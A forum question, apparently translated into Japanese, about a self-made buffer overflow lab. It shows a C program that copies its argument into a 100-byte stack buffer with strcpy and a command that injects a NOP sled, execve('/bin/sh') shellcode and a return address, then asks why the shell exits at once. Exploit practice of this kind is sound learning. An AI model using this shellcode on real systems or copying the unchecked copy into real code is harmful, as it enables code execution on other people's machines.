プログラミングとLinuxが混在しているので、この質問をどこに尋ねるべきかわかりませんが、ここが正しい場所であることを願っています。単純なプログラムを書いたところ、バッファがオーバーフローしました。私は1つを除いてすべてのステップを完了しました。シェルコードを実行すると、/bin/bash
実行後に入力がないためすぐに閉じます。私は./vuln arg
arg
シェルコードを含むこのようなパラメータを使って私のプログラムを呼び出します。私が理解しているように、シェルには少しの入力が必要ですが、脆弱なプログラムが完了すると標準入力を受け取る必要があるパイプが閉じ、シェルも閉じます。次のメッセージを受け取りました。
/bin/sh: line 1: warning: command substitution: ignored null byte in input
私のCコードは次のとおりです(助けになる場合)。
#include <stdio.h>
#include <string.h>
int main(int argc, char** argv){
char buffer[100];
strcpy(buffer, argv[1]);
return 0;
}
シェルを開くために使用するコマンドは次のとおりです。
./vuln $(python -c "import sys; sys.stdout.buffer.write(b'\x90'*60 + b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80' + b'\x40\xd6\xff\xff'*6)")
私は努力しました:
./vuln $(python -c "import sys; sys.stdout.buffer.write(b'\x90'*60 + b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80' + b'\x40\xd6\xff\xff'*6)") | cat
;
代わりに、いくつかの異なるバリエーションを使用しても|
何も機能しませんでした。実行したばかりのエラーです。./vuln my_payload
[Detaching after fork from child process 4010]
bash: warning: command substitution: ignored null byte in input
[Detaching after fork from child process 4011]